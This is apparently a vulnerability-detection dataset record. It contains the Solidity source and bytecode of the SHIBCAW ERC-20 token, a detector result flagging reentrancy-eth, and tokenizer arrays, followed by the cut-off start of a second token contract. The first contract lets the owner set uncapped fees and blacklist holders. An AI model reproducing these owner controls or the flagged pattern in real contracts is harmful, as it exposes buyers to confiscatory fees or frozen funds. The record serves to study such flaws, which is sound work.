sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SHIBCAW is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Shiba Hunter Dream"; string private constant _symbol = "SHIBCAW"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 666666666666666 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 4; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 4; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x54Bb7e9CE441FC278231923DAd1CCd30DC14b817); address payable private _marketingAddress = payable(0x54Bb7e9CE441FC278231923DAd1CCd30DC14b817); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 6666666666667 * 10**9; uint256 public _maxWalletSize = 6666666666667 * 10**9; uint256 public _swapTokensAtAmount = 6666 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610562578063dd62ed3e14610582578063ea1644d5146105c8578063f2fde38b146105e857600080fd5b8063a2a957bb146104dd578063a9059cbb146104fd578063bfd792841461051d578063c3c8cd801461054d57600080fd5b80638f70ccf7116100d15780638f70ccf7146104575780638f9a55c01461047757806395d89b411461048d57806398a5c315146104bd57600080fd5b80637d1db4a5146103f65780637f2feddc1461040c5780638da5cb5b1461043957600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038c57806370a08231146103a1578063715018a6146103c157806374010ece146103d657600080fd5b8063313ce5671461031057806349bd5a5e1461032c5780636b9990531461034c5780636d8aa8f81461036c57600080fd5b80631694505e116101ab5780631694505e1461027b57806318160ddd146102b357806323b872dd146102da5780632fd689e3146102fa57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024b57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611964565b610608565b005b34801561020a57600080fd5b5060408051808201909152601281527153686962612048756e74657220447265616d60701b60208201525b6040516102429190611a29565b60405180910390f35b34801561025757600080fd5b5061026b610266366004611a7e565b6106a7565b6040519015158152602001610242565b34801561028757600080fd5b5060145461029b906001600160a01b031681565b6040516001600160a01b039091168152602001610242565b3480156102bf57600080fd5b50698d2c1289ddf398ee24005b604051908152602001610242565b3480156102e657600080fd5b5061026b6102f5366004611aaa565b6106be565b34801561030657600080fd5b506102cc60185481565b34801561031c57600080fd5b5060405160098152602001610242565b34801561033857600080fd5b5060155461029b906001600160a01b031681565b34801561035857600080fd5b506101fc610367366004611aeb565b610727565b34801561037857600080fd5b506101fc610387366004611b18565b610772565b34801561039857600080fd5b506101fc6107ba565b3480156103ad57600080fd5b506102cc6103bc366004611aeb565b610805565b3480156103cd57600080fd5b506101fc610827565b3480156103e257600080fd5b506101fc6103f1366004611b33565b61089b565b34801561040257600080fd5b506102cc60165481565b34801561041857600080fd5b506102cc610427366004611aeb565b60116020526000908152604090205481565b34801561044557600080fd5b506000546001600160a01b031661029b565b34801561046357600080fd5b506101fc610472366004611b18565b6108ca565b34801561048357600080fd5b506102cc60175481565b34801561049957600080fd5b506040805180820190915260078152665348494243415760c81b6020820152610235565b3480156104c957600080fd5b506101fc6104d8366004611b33565b610912565b3480156104e957600080fd5b506101fc6104f8366004611b4c565b610941565b34801561050957600080fd5b5061026b610518366004611a7e565b61097f565b34801561052957600080fd5b5061026b610538366004611aeb565b60106020526000908152604090205460ff1681565b34801561055957600080fd5b506101fc61098c565b34801561056e57600080fd5b506101fc61057d366004611b7e565b6109e0565b34801561058e57600080fd5b506102cc61059d366004611c02565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d457600080fd5b506101fc6105e3366004611b33565b610a81565b3480156105f457600080fd5b506101fc610603366004611aeb565b610ab0565b6000546001600160a01b0316331461063b5760405162461bcd60e51b815260040161063290611c3b565b60405180910390fd5b60005b81518110156106a35760016010600084848151811061065f5761065f611c70565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069b81611c9c565b91505061063e565b5050565b60006106b4338484610b9a565b5060015b92915050565b60006106cb848484610cbe565b61071d843361071885604051806060016040528060288152602001611db4602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111fa565b610b9a565b5060019392505050565b6000546001600160a01b031633146107515760405162461bcd60e51b815260040161063290611c3b565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461079c5760405162461bcd60e51b815260040161063290611c3b565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ef57506013546001600160a01b0316336001600160a01b0316145b6107f857600080fd5b4761080281611234565b50565b6001600160a01b0381166000908152600260205260408120546106b89061126e565b6000546001600160a01b031633146108515760405162461bcd60e51b815260040161063290611c3b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c55760405162461bcd60e51b815260040161063290611c3b565b601655565b6000546001600160a01b031633146108f45760405162461bcd60e51b815260040161063290611c3b565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461093c5760405162461bcd60e51b815260040161063290611c3b565b601855565b6000546001600160a01b0316331461096b5760405162461bcd60e51b815260040161063290611c3b565b600893909355600a91909155600955600b55565b60006106b4338484610cbe565b6012546001600160a01b0316336001600160a01b031614806109c157506013546001600160a01b0316336001600160a01b0316145b6109ca57600080fd5b60006109d530610805565b9050610802816112f2565b6000546001600160a01b03163314610a0a5760405162461bcd60e51b815260040161063290611c3b565b60005b82811015610a7b578160056000868685818110610a2c57610a2c611c70565b9050602002016020810190610a419190611aeb565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7381611c9c565b915050610a0d565b50505050565b6000546001600160a01b03163314610aab5760405162461bcd60e51b815260040161063290611c3b565b601755565b6000546001600160a01b03163314610ada5760405162461bcd60e51b815260040161063290611c3b565b6001600160a01b038116610b3f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610632565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bfc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610632565b6001600160a01b038216610c5d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610632565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d225760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610632565b6001600160a01b038216610d845760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610632565b60008111610de65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610632565b6000546001600160a01b03848116911614801590610e1257506000546001600160a01b03838116911614155b156110f357601554600160a01b900460ff16610eab576000546001600160a01b03848116911614610eab5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610632565b601654811115610efd5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610632565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3f57506001600160a01b03821660009081526010602052604090205460ff16155b610f975760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610632565b6015546001600160a01b0383811691161461101c5760175481610fb984610805565b610fc39190611cb5565b1061101c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610632565b600061102730610805565b6018546016549192508210159082106110405760165491505b8080156110575750601554600160a81b900460ff16155b801561107157506015546001600160a01b03868116911614155b80156110865750601554600160b01b900460ff165b80156110ab57506001600160a01b03851660009081526005602052604090205460ff16155b80156110d057506001600160a01b03841660009081526005602052604090205460ff16155b156110f0576110de826112f2565b4780156110ee576110ee47611234565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113557506001600160a01b03831660009081526005602052604090205460ff165b8061116757506015546001600160a01b0385811691161480159061116757506015546001600160a01b03848116911614155b15611174575060006111ee565b6015546001600160a01b03858116911614801561119f57506014546001600160a01b03848116911614155b156111b157600854600c55600954600d555b6015546001600160a01b0384811691161480156111dc57506014546001600160a01b03858116911614155b156111ee57600a54600c55600b54600d555b610a7b8484848461146c565b6000818484111561121e5760405162461bcd60e51b81526004016106329190611a29565b50600061122b8486611ccd565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106a3573d6000803e3d6000fd5b60006006548211156112d55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610632565b60006112df61149a565b90506112eb83826114bd565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133a5761133a611c70565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611393573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b79190611ce4565b816001815181106113ca576113ca611c70565b6001600160a01b0392831660209182029290920101526014546113f09130911684610b9a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611429908590600090869030904290600401611d01565b600060405180830381600087803b15801561144357600080fd5b505af1158015611457573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611479576114796114ff565b61148484848461152d565b80610a7b57610a7b600e54600c55600f54600d55565b60008060006114a7611624565b90925090506114b682826114bd565b9250505090565b60006112eb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611668565b600c5415801561150f5750600d54155b1561151657565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153f87611696565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157190876116f3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a09086611735565b6001600160a01b0389166000908152600260205260409020556115c281611794565b6115cc84836117de565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161191815260200190565b60405180910390a3505050505050505050565b6006546000908190698d2c1289ddf398ee240061164182826114bd565b82101561165f57505060065492698d2c1289ddf398ee240092509050565b90939092509050565b600081836116895760405162461bcd60e51b81526004016106329190611a29565b50600061122b8486611d72565b60008060008060008060008060006116b38a600c54600d54611802565b92509250925060006116c361149a565b905060008060006116d68e878787611857565b919e509c509a509598509396509194505050505091939550919395565b60006112eb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111fa565b6000806117428385611cb5565b9050838110156112eb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610632565b600061179e61149a565b905060006117ac83836118a7565b306000908152600260205260409020549091506117c99082611735565b30600090815260026020526040902055505050565b6006546117eb90836116f3565b6006556007546117fb9082611735565b6007555050565b600080808061181c606461181689896118a7565b906114bd565b9050600061182f60646118168a896118a7565b90506000611847826118418b866116f3565b906116f3565b9992985090965090945050505050565b600080808061186688866118a7565b9050600061187488876118a7565b9050600061188288886118a7565b905060006118948261184186866116f3565b939b939a50919850919650505050505050565b6000826000036118b9575060006106b8565b60006118c58385611d94565b9050826118d28583611d72565b146112eb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610632565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461080257600080fd5b803561195f8161193f565b919050565b6000602080838503121561197757600080fd5b823567ffffffffffffffff8082111561198f57600080fd5b818501915085601f8301126119a357600080fd5b8135818111156119b5576119b5611929565b8060051b604051601f19603f830116810181811085821117156119da576119da611929565b6040529182528482019250838101850191888311156119f857600080fd5b938501935b82851015611a1d57611a0e85611954565b845293850193928501926119fd565b98975050505050505050565b600060208083528351808285015260005b81811015611a5657858101830151858201604001528201611a3a565b81811115611a68576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9157600080fd5b8235611a9c8161193f565b946020939093013593505050565b600080600060608486031215611abf57600080fd5b8335611aca8161193f565b92506020840135611ada8161193f565b929592945050506040919091013590565b600060208284031215611afd57600080fd5b81356112eb8161193f565b8035801515811461195f57600080fd5b600060208284031215611b2a57600080fd5b6112eb82611b08565b600060208284031215611b4557600080fd5b5035919050565b60008060008060808587031215611b6257600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9357600080fd5b833567ffffffffffffffff80821115611bab57600080fd5b818601915086601f830112611bbf57600080fd5b813581811115611bce57600080fd5b8760208260051b8501011115611be357600080fd5b602092830195509350611bf99186019050611b08565b90509250925092565b60008060408385031215611c1557600080fd5b8235611c208161193f565b91506020830135611c308161193f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611cae57611cae611c86565b5060010190565b60008219821115611cc857611cc8611c86565b500190565b600082821015611cdf57611cdf611c86565b500390565b600060208284031215611cf657600080fd5b81516112eb8161193f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d515784516001600160a01b031683529383019391830191600101611d2c565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8f57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dae57611dae611c86565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f58e17cfbbe3223a6a6f8c0a45b785f1e382194e2b25ffb179217ec36ce8e0dc64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 20952, 2692, 2575, 2546, 2692, 2094, 16068, 2581, 2094, 16576, 2575, 27421, 2620, 2683, 28756, 2063, 2581, 24434, 2581, 23833, 2620, 2549, 2546, 2683, 11329, 3401, 2620, 2094, 2509, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 1013, 1013, 2057, 2024, 11895, 3676, 4477, 1010, 13071, 1999, 1996, 3796, 4677, 1010, 5933, 2216, 2061, 1011, 2170, 9489, 1999, 1996, 2601, 3224, 1010, 1998, 27097, 2068, 2028, 2011, 2028, 1012, 1013, 1013, 2057, 2097, 2224, 4830, 2080, 3192, 2000, 2490, 4022, 2152, 1011, 3737, 3988, 3934, 1010, 2074, 2005, 2028, 3125, 1010, 27097, 2035, 9489, 999, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1023, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,881
0x95df5d276fed44bd970a1ec629f89523b0837c1d
/** *Submitted for verification at BscScan.com on 2022-03-02 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: weiValue}( data ); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msg.sender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } function lock(uint256 time) public virtual onlyOwner { _previousOwner = 